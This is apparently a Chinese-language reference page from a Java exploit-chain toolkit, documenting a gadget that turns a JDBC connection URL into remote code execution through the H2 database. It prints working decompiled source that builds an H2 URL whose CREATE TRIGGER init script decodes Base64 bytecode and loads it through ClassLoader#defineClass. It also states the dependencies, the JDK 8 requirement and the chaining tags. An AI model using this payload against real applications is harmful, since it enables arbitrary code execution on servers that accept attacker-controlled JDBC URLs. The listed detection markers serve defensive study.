- 类别:
common别名:— 优先级:30 - 作者:Unam4、Springkill
- 依赖:
com.h2database:h2:org.h2.Driver - 实现:
Gadget
使用 H2 CREATE TRIGGER 路径加载内层字节码。
- 入口
tags:H2JdbcUrl、JdbcUrlChains、END - 衔接
nextTags:BytecodeConvertTag excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public String getObject(byte[] bytecode) {
String b64Bytecode = Base64.encodeBase64String((byte[])bytecode);
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER loader BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$void loader() throws java.lang.Exception{\nString tomcatStr=\"" + b64Bytecode + "\"\\;\nbyte[] standBytes=new sun.misc.BASE64Decoder().decodeBuffer(tomcatStr)\\;\njava.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",standBytes.getClass(),int.class,int.class)\\;\ndefineClassMethod.setAccessible(true)\\;\njava.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\\;\nmyclass.newInstance()\\;}\n$$";
return url;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
byte[] bytecode = (byte[])chain.doCreate(context);
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return this.getObject(bytecode);
}invoke() 获取内层 byte[] 并设置 H2 driver,上层看到的仍是一个 JDBC URL 字符串。
getObject(byte[]) 生成 jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER ... BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$...$$。Trigger 体内用 sun.misc.BASE64Decoder 解码字节码,再调用 ClassLoader#defineClass 并 newInstance()。
相比 CREATE ALIAS 版本,本构件利用 H2 trigger 编译/执行 Java 片段,适合测试目标对 alias/trigger 支持差异。
本类无 @Param,运行时输入来自链上下文或内层 gadget。
- 注解描述:适用于jdbc rce场景,通过H2的 TRIGGER 功能,控制javac编译器执行任意Java代码,加载字节码
- 依赖条件:
com.h2database:h2:org.h2.Driver。 - 依赖 H2 driver 与可用的 Java trigger 编译路径;源码使用
sun.misc.BASE64Decoder,因此更偏向 JDK 8 及以前环境。 END标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。- 可衔接下一环:
BytecodeConvertTag。
关注 H2 URL 中 MODE=MSSQLServer、CREATE TRIGGER、INFORMATION_SCHEMA.TABLES、sun.misc.BASE64Decoder。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。